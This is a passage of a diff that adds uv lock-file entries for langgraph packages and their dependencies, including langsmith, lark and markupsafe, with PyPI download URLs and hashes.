+ { name = "hatch", specifier = ">=1.16.2" }, + { name = "msgspec" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watch" }, + { name = "ruff" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "msgspec" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watch" }, +] + +[[package]] +name = "langgraph-prebuilt" +version = "1.1.0" +source = { editable = "../prebuilt" } +dependencies = [ + { name = "langchain-core" }, + { name = "langgraph-checkpoint" }, +] + +[package.metadata] +requires-dist = [ + { name = "langchain-core", specifier = ">=1.3.1" }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "codespell" }, + { name = "langchain-core" }, + { name = "langgraph", editable = "." }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "langgraph-checkpoint-postgres", editable = "../checkpoint-postgres" }, + { name = "langgraph-checkpoint-sqlite", editable = "../checkpoint-sqlite" }, + { name = "psycopg-binary" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "ruff" }, + { name = "syrupy" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "langchain-core" }, + { name = "langgraph", editable = "." }, + { name = "langgraph-checkpoint", editable = "../checkpoint" }, + { name = "langgraph-checkpoint-postgres", editable = "../checkpoint-postgres" }, + { name = "langgraph-checkpoint-sqlite", editable = "../checkpoint-sqlite" }, + { name = "psycopg-binary" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "syrupy" }, +] + +[[package]] +name = "langgraph-runtime-inmem" +version = "0.30.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "blockbuster", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "croniter", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "langgraph", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "langgraph-checkpoint", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "sse-starlette", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "starlette", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "structlog", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/98/19/5d330e22e3ee2569742d3577b4ddfbb6b8e383f2edd9724b4a4b73735717/langgraph_runtime_inmem-0.30.0.tar.gz", hash = "sha256:31954e1de6cd43c284b425243d4faeae818f68b3daca4dbe4313e651b6f5e11d", size = 129940, upload-time = "2026-06-11T14:22:46.985Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fe/df/cfb15c70fa4dcab9ea48f8fda9f4ed87d1767eea6e4d2901dc704da297ba/langgraph_runtime_inmem-0.30.0-py3-none-any.whl", hash = "sha256:08a36b83b5e32fe6e30cb25062a1e671a42e2a0206e4043cc95f41198dcbbb12", size = 51762, upload-time = "2026-06-11T14:22:46.012Z" }, +] + +[[package]] +name = "langgraph-sdk" +source = { editable = "../sdk-py" } +dependencies = [ + { name = "httpx" }, + { name = "langchain-core" }, + { name = "langchain-protocol" }, + { name = "orjson" }, + { name = "websockets" }, +] + +[package.metadata] +requires-dist = [ + { name = "httpx", specifier = ">=0.25.2" }, + { name = "langchain-core", specifier = ">=1.4.0,<2" }, + { name = "langchain-protocol", specifier = ">=0.0.15" }, + { name = "orjson", specifier = ">=3.11.5" }, + { name = "websockets", specifier = ">=14,<17" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "codespell" }, + { name = "langgraph", editable = "." }, + { name = "pydantic", specifier = ">=2.12.4" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watch" }, + { name = "ruff", specifier = "==0.15.20" }, + { name = "starlette" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff", specifier = "==0.15.20" }, + { name = "starlette" }, + { name = "ty" }, +] +test = [ + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watch" }, +] + +[[package]] +name = "langsmith" +version = "0.8.18" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "httpx" }, + { name = "orjson", marker = "platform_python_implementation != 'PyPy'" }, + { name = "packaging" }, + { name = "pydantic" }, + { name = "requests" }, + { name = "requests-toolbelt" }, + { name = "uuid-utils" }, + { name = "websockets" }, + { name = "xxhash" }, + { name = "zstandard" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9a/d9/a6681aa9847bbbc5ec21abe20a5e233b94e5edcfe39624db607ac7e8ccb4/langsmith-0.8.18.tar.gz", hash = "sha256:32dde9c0e67e053e0fb738921fc8ced768af7b8fa83d7a0e3fd63597cf8776dd", size = 4526988, upload-time = "2026-06-19T13:12:17.123Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/03/70/0e0cc80a3b064c8d6c8d697c3125ed86e39d5a7393ec6dc8b07cb1cf13c4/langsmith-0.8.18-py3-none-any.whl", hash = "sha256:3940183349993faef48e6c7d08e4822ee9cefd906b362d0e3c2d650314d2f282", size = 508108, upload-time = "2026-06-19T13:12:15.348Z" }, +] + +[package.optional-dependencies] +otel = [ + { name = "opentelemetry-api", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "opentelemetry-exporter-otlp-proto-http", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, + { name = "opentelemetry-sdk", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, +] + +[[package]] +name = "lark" +version = "1.3.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/da/34/28fff3ab31ccff1fd4f6c7c7b0ceb2b6968d8ea4950663eadcb5720591a0/lark-1.3.1.tar.gz", hash = "sha256:b426a7a6d6d53189d318f2b6236ab5d6429eaf09259f1ca33eb716eed10d2905", size = 382732, upload-time = "2025-10-27T18:25:56.653Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/82/3d/14ce75ef66813643812f3093ab17e46d3a206942ce7376d31ec2d36229e7/lark-1.3.1-py3-none-any.whl", hash = "sha256:c629b661023a014c37da873b4ff58a817398d12635d3bbb2c5a03be7fe5d1e12", size = 113151, upload-time = "2025-10-27T18:25:54.882Z" }, +] + +[[package]] +name = "markupsafe" +version = "3.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e8/4b/3541d44f3937ba468b75da9eebcae497dcf67adb65caa16760b0a6807ebb/markupsafe-3.0.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:2f981d352f04553a7171b8e44369f2af4055f888dfb147d55e42d29e29e74559", size = 11631, upload-time = "2025-09-27T18:36:05.558Z" }, + { url = "https://files.pythonhosted.org/packages/98/1b/fbd8eed11021cabd9226c37342fa6ca4e8a98d8188a8d9b66740494960e4/markupsafe-3.0.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e1c1493fb6e50ab01d20a22826e57520f1284df32f2d8601fdd90b6304601419", size = 12057, upload-time = "2025-09-27T18:36:07.165Z" }, + { url = "https://files.pythonhosted.org/packages/40/01/e560d658dc0bb8ab762670ece35281dec7b6c1b33f5fbc09ebb57a185519/markupsafe-3.0.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ba88449deb3de88bd40044603fafffb7bc2b055d626a330323a9ed736661695", size = 22050, upload-time = "2025-09-27T18:36:08.005Z" }, + { url = "https://files.pythonhosted.org/packages/af/cd/ce6e848bbf2c32314c9b237839119c5a564a59725b53157c856e90937b7a/markupsafe-3.0.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f42d0984e947b8adf7dd6dde396e720934d12c506ce84eea8476409563607591", size = 20681, upload-time = "2025-09-27T18:36:08.881Z" }, + { url = "https://files.pythonhosted.org/packages/c9/2a/b5c12c809f1c3045c4d580b035a743d12fcde53cf685dbc44660826308da/markupsafe-3.0.3-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c0c0b3ade1c0b13b936d7970b1d37a57acde9199dc2aecc4c336773e1d86049c", size = 20705, upload-time = "2025-09-27T18:36:10.131Z" }, + { url = "https://files.pythonhosted.org/packages/cf/e3/9427a68c82728d0a88c50f890d0fc072a1484de2f3ac1ad0bfc1a7214fd5/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0303439a41979d9e74d18ff5e2dd8c43ed6c6001fd40e5bf2e43f7bd9bbc523f", size = 21524, upload-time = "2025-09-27T18:36:11.324Z" }, + { url = "https://files.pythonhosted.org/packages/bc/36/23578f29e9e582a4d0278e009b38081dbe363c5e7165113fad546918a232/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:d2ee202e79d8ed691ceebae8e0486bd9a2cd4794cec4824e1c99b6f5009502f6", size = 20282, upload-time = "2025-09-27T18:36:12.573Z" }, + { url = "https://files.pythonhosted.org/packages/56/21/dca11354e756ebd03e036bd8ad58d6d7168c80ce1fe5e75218e4945cbab7/markupsafe-3.0.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:177b5253b2834fe3678cb4a5f0059808258584c559193998be2601324fdeafb1", size = 20745, upload-time = "2025-09-27T18:36:13.504Z" }, + { url = "https://files.pythonhosted.org/packages/87/99/faba9369a7ad6e4d10b6a5fbf71fa2a188fe4a593b15f0963b73859a1bbd/markupsafe-3.0.3-cp310-cp310-win32.whl", hash = "sha256:2a15a08b17dd94c53a1da0438822d70ebcd13f8c3a95abe3a9ef9f11a94830aa", size = 14571, upload-time = "2025-09-27T18:36:14.779Z" }, + { url = "https://files.pythonhosted.org/packages/d6/25/55dc3ab959917602c96985cb1253efaa4ff42f71194bddeb61eb7278b8be/markupsafe-3.0.3-cp310-cp310-win_amd64.whl", hash = "sha256:c4ffb7ebf07cfe8931028e3e4c85f0357459a3f9f9490886198848f4fa002ec8", size = 15056, upload-time = "2025-09-27T18:36:16.125Z" }, + { url = "https://files.pythonhosted.org/packages/d0/9e/0a02226640c255d1da0b8d12e24ac2aa6734da68bff14c05dd53b94a0fc3/markupsafe-3.0.3-cp310-cp310-win_arm64.whl", hash = "sha256:e2103a929dfa2fcaf9bb4e7c091983a49c9ac3b19c9061b6d5427dd7d14d81a1", size = 13932, upload-time = "2025-09-27T18:36:17.311Z" }, + { url = "https://files.pythonhosted.org/packages/08/db/fefacb2136439fc8dd20e797950e749aa1f4997ed584c62cfb8ef7c2be0e/markupsafe-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:1cc7ea17a6824959616c525620e387f6dd30fec8cb44f649e31712db02123dad", size = 11631, upload-time = "2025-09-27T18:36:18.185Z" }, + { url = "https://files.pythonhosted.org/packages/e1/2e/5898933336b61975ce9dc04decbc0a7f2fee78c30353c5efba7f2d6ff27a/markupsafe-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4bd4cd07944443f5a265608cc6aab442e4f74dff8088b0dfc8238647b8f6ae9a", size = 12058, upload-time = "2025-09-27T18:36:19.444Z" }, + { url = "https://files.pythonhosted.org/packages/1d/09/adf2df3699d87d1d8184038df46a9c80d78c0148492323f4693df54e17bb/markupsafe-3.0.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b5420a1d9450023228968e7e6a9ce57f65d148ab56d2313fcd589eee96a7a50", size = 24287, upload-time = "2025-09-27T18:36:20.768Z" }, + { url = "https://files.pythonhosted.org/packages/30/ac/0273f6fcb5f42e314c6d8cd99effae6a5354604d461b8d392b5ec9530a54/markupsafe-3.0.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0bf2a864d67e76e5c9a34dc26ec616a66b9888e25e7b9460e1c76d3293bd9dbf", size = 22940, upload-time = "2025-09-27T18:36:22.249Z" }, + { url = "https://files.pythonhosted.org/packages/19/ae/31c1be199ef767124c042c6c3e904da327a2f7f0cd63a0337e1eca2967a8/markupsafe-3.0.3-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc51efed119bc9cfdf792cdeaa4d67e8f6fcccab66ed4bfdd6bde3e59bfcbb2f", size = 21887, upload-time = "2025-09-27T18:36:23.535Z" }, + { url = "https://files.pythonhosted.org/packages/b2/76/7edcab99d5349a4532a459e1fe64f0b0467a3365056ae550d3bcf3f79e1e/markupsafe-3.0.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:068f375c472b3e7acbe2d5318dea141359e6900156b5b2ba06a30b169086b91a", size = 23692, upload-time = "2025-09-27T18:36:24.823Z" }, + { url = "https://files.pythonhosted.org/packages/a4/28/6e74cdd26d7514849143d69f0bf2399f929c37dc2b31e6829fd2045b2765/markupsafe-3.0.3-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:7be7b61bb172e1ed687f1754f8e7484f1c8019780f6f6b0786e76bb01c2ae115", size = 21471, upload-time = "2025-09-27T18:36:25.95Z" }, + { url = "https://files.pythonhosted.org/packages/62/7e/a145f36a5c2945673e590850a6f8014318d5577ed7e5920a4b3448e0865d/markupsafe-3.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f9e130248f4462aaa8e2552d547f36ddadbeaa573879158d721bbd33dfe4743a", size = 22923, upload-time = "2025-09-27T18:36:27.109Z" }, + { url = "https://files.pythonhosted.org/packages/0f/62/d9c46a7f5c9adbeeeda52f5b8d802e1094e9717705a645efc71b0913a0a8/markupsafe-3.0.3-cp311-cp311-win32.whl", hash = "sha256:0db14f5dafddbb6d9208827849fad01f1a2609380add406671a26386cdf15a19", size = 14572, upload-time = "2025-09-27T18:36:28.045Z" }, + { url = "https://files.pythonhosted.org/packages/83/8a/4414c03d3f891739326e1783338e48fb49781cc915b2e0ee052aa490d586/markupsafe-3.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:de8a88e63464af587c950061a5e6a67d3632e36df62b986892331d4620a35c01", size = 15077, upload-time = "2025-09-27T18:36:29.025Z" }, + { url = "https://files.pythonhosted.org/packages/35/73/893072b42e6862f319b5207adc9ae06070f095b358655f077f69a35601f0/markupsafe-3.0.3-cp311-cp311-win_arm64.whl", hash = "sha256:3b562dd9e9ea93f13d53989d23a7e775fdfd1066c33494ff43f5418bc8c58a5c", size = 13876, upload-time = "2025-09-27T18:36:29.954Z" }, + { url = "https://files.pythonhosted.org/packages/5a/72/147da192e38635ada20e0a2e1a51cf8823d2119ce8883f7053879c2199b5/markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e", size = 11615, upload-time = "2025-09-27T18:36:30.854Z" }, + { url = "https://files.pythonhosted.org/packages/9a/81/7e4e08678a1f98521201c3079f77db69fb552acd56067661f8c2f534a718/markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce", size = 12020, upload-time = "2025-09-27T18:36:31.971Z" }, + { url = "https://files.pythonhosted.org/packages/1e/2c/799f4742efc39633a1b54a92eec4082e4f815314869865d876824c257c1e/markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d", size = 24332, upload-time = "2025-09-27T18:36:32.813Z" }, + { url = "https://files.pythonhosted.org/packages/3c/2e/8d0c2ab90a8c1d9a24f0399058ab8519a3279d1bd4289511d74e909f060e/markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d", size = 22947, upload-time = "2025-09-27T18:36:33.86Z" }, + { url = "https://files.pythonhosted.org/packages/2c/54/887f3092a85238093a0b2154bd629c89444f395618842e8b0c41783898ea/markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a", size = 21962, upload-time = "2025-09-27T18:36:35.099Z" }, + { url = "https://files.pythonhosted.org/packages/c9/2f/336b8c7b6f4a4d95e91119dc8521402461b74a485558d8f238a68312f11c/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b", size = 23760, upload-time = "2025-09-27T18:36:36.001Z" }, + { url = "https://files.pythonhosted.org/packages/32/43/67935f2b7e4982ffb50a4d169b724d74b62a3964bc1a9a527f5ac4f1ee2b/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f", size = 21529, upload-time = "2025-09-27T18:36:36.906Z" }, + { url = "https://files.pythonhosted.org/packages/89/e0/4486f11e51bbba8b0c041098859e869e304d1c261e59244baa3d295d47b7/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b", size = 23015, upload-time = "2025-09-27T18:36:37.868Z" }, + { url = "https://files.pythonhosted.org/packages/2f/e1/78ee7a023dac597a5825441ebd17170785a9dab23de95d2c7508ade94e0e/markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d", size = 14540, upload-time = "2025-09-27T18:36:38.761Z" }, + { url = "https://files.pythonhosted.org/packages/aa/5b/bec5aa9bbbb2c946ca2733ef9c4ca91c91b6a24580193e891b5f7dbe8e1e/markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c", size = 15105, upload-time = "2025-09-27T18:36:39.701Z" }, + { url = "https://files.pythonhosted.org/packages/e5/f1/216fc1bbfd74011693a4fd837e7026152e89c4bcf3e77b6692fba9923123/markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f", size = 13906, upload-time = "2025-09-27T18:36:40.689Z" }, + { url = "https://files.pythonhosted.org/packages/38/2f/907b9c7bbba283e68f20259574b13d005c121a0fa4c175f9bed27c4597ff/markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795", size = 11622, upload-time = "2025-09-27T18:36:41.777Z" }, + { url = "https://files.pythonhosted.org/packages/9c/d9/5f7756922cdd676869eca1c4e3c0cd0df60ed30199ffd775e319089cb3ed/markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219", size = 12029, upload-time = "2025-09-27T18:36:43.257Z" }, + { url = "https://files.pythonhosted.org/packages/00/07/575a68c754943058c78f30db02ee03a64b3c638586fba6a6dd56830b30a3/markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6", size = 24374, upload-time = "2025-09-27T18:36:44.508Z" }, + { url = "https://files.pythonhosted.org/packages/a9/21/9b05698b46f218fc0e118e1f8168395c65c8a2c750ae2bab54fc4bd4e0e8/markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676", size = 22980, upload-time = "2025-09-27T18:36:45.385Z" }, + { url = "https://files.pythonhosted.org/packages/7f/71/544260864f893f18b6827315b988c146b559391e6e7e8f7252839b1b846a/markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9", size = 21990, upload-time = "2025-09-27T18:36:46.916Z" }, + { url = "https://files.pythonhosted.org/packages/c2/28/b50fc2f74d1ad761af2f5dcce7492648b983d00a65b8c0e0cb457c82ebbe/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1", size = 23784, upload-time = "2025-09-27T18:36:47.884Z" }, + { url = "https://files.pythonhosted.org/packages/ed/76/104b2aa106a208da8b17a2fb72e033a5a9d7073c68f7e508b94916ed47a9/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc", size = 21588, upload-time = "2025-09-27T18:36:48.82Z" }, + { url = "https://files.pythonhosted.org/packages/b5/99/16a5eb2d140087ebd97180d95249b00a03aa87e29cc224056274f2e45fd6/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12", size = 23041, upload-time = "2025-09-27T18:36:49.797Z" }, + { url = "https://files.pythonhosted.org/packages/19/bc/e7140ed90c5d61d77cea142eed9f9c303f4c4806f60a1044c13e3f1471d0/markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed", size = 14543, upload-time = "2025-09-27T18:36:51.584Z" }, + { url = "https://files.pythonhosted.org/packages/05/73/c4abe620b841b6b791f2edc248f556900667a5a1cf023a6646967ae98335/markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5", size = 15113, upload-time = "2025-09-27T18:36:52.537Z" }, + { url = "https://files.pythonhosted.org/packages/f0/3a/fa34a0f7cfef23cf9500d68cb7c32dd64ffd58a12b09225fb03dd37d5b80/markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485", size = 13911, upload-time = "2025-09-27T18:36:53.513Z" }, + { url = "https://files.pythonhosted.org/packages/e4/d7/e05cd7efe43a88a17a37b3ae96e79a19e846f3f456fe79c57ca61356ef01/markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73", size = 11658, upload-time = "2025-09-27T18:36:54.819Z" }, + { url = "https://files.pythonhosted.org/packages/99/9e/e412117548182ce2148bdeacdda3bb494260c0b0184360fe0d56389b523b/markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37", size = 12066, upload-time = "2025-09-27T18:36:55.714Z" }, + { url = "https://files.pythonhosted.org/packages/bc/e6/fa0ffcda717ef64a5108eaa7b4f5ed28d56122c9a6d70ab8b72f9f715c80/markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19", size = 25639, upload-time = "2025-09-27T18:36:56.908Z" }, + { url = "https://files.pythonhosted.org/packages/96/ec/2102e881fe9d25fc16cb4b25d5f5cde50970967ffa5dddafdb771237062d/markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025", size = 23569, upload-time = "2025-09-27T18:36:57.913Z" }, + { url = "https://files.pythonhosted.org/packages/4b/30/6f2fce1f1f205fc9323255b216ca8a235b15860c34b6798f810f05828e32/markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6", size = 23284, upload-time = "2025-09-27T18:36:58.833Z" }, + { url = "https://files.pythonhosted.org/packages/58/47/4a0ccea4ab9f5dcb6f79c0236d954acb382202721e704223a8aafa38b5c8/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f", size = 24801, upload-time = "2025-09-27T18:36:59.739Z" }, + { url = "https://files.pythonhosted.org/packages/6a/70/3780e9b72180b6fecb83a4814d84c3bf4b4ae4bf0b19c27196104149734c/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb", size = 22769, upload-time = "2025-09-27T18:37:00.719Z" }, + { url = "https://files.pythonhosted.org/packages/98/c5/c03c7f4125180fc215220c035beac6b9cb684bc7a067c84fc69414d315f5/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009", size = 23642, upload-time = "2025-09-27T18:37:01.673Z" }, + { url = "https://files.pythonhosted.org/packages/80/d6/2d1b89f6ca4bff1036499b1e29a1d02d282259f3681540e16563f27ebc23/markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354", size = 14612, upload-time = "2025-09-27T18:37:02.639Z" }, + { url = "https://files.pythonhosted.org/packages/2b/98/e48a4bfba0a0ffcf9925fe2d69240bfaa19c6f7507b8cd09c70684a53c1e/markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218", size = 15200, upload-time = "2025-09-27T18:37:03.582Z" }, + { url = "https://files.pythonhosted.org/packages/0e/72/e3cc540f351f316e9ed0f092757459afbc595824ca724cbc5a5d4263713f/markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287", size = 13973, upload-time = "2025-09-27T18:37:04.929Z" }, + { url = "https://files.pythonhosted.org/packages/33/8a/8e42d4838cd89b7dde187011e97fe6c3af66d8c044997d2183fbd6d31352/markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe", size = 11619, upload-time = "2025-09-27T18:37:06.342Z" }, + { url = "https://files.pythonhosted.org/packages/b5/64/7660f8a4a8e53c924d0fa05dc3a55c9cee10bbd82b11c5afb27d44b096ce/markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026", size = 12029, upload-time = "2025-09-27T18:37:07.213Z" }, + { url = "https://files.pythonhosted.org/packages/da/ef/e648bfd021127bef5fa12e1720ffed0c6cbb8310c8d9bea7266337ff06de/markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737", size = 24408, upload-time = "2025-09-27T18:37:09.572Z" }, + { url = "https://files.pythonhosted.org/packages/41/3c/a36c2450754618e62008bf7435ccb0f88053e07592e6028a34776213d877/markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97", size = 23005, upload-time = "2025-09-27T18:37:10.58Z" }, + { url = "https://files.pythonhosted.org/packages/bc/20/b7fdf89a8456b099837cd1dc21974632a02a999ec9bf7ca3e490aacd98e7/markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d", size = 22048, upload-time = "2025-09-27T18:37:11.547Z" }, + { url = "https://files.pythonhosted.org/packages/9a/a7/591f592afdc734f47db08a75793a55d7fbcc6902a723ae4cfbab61010cc5/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = 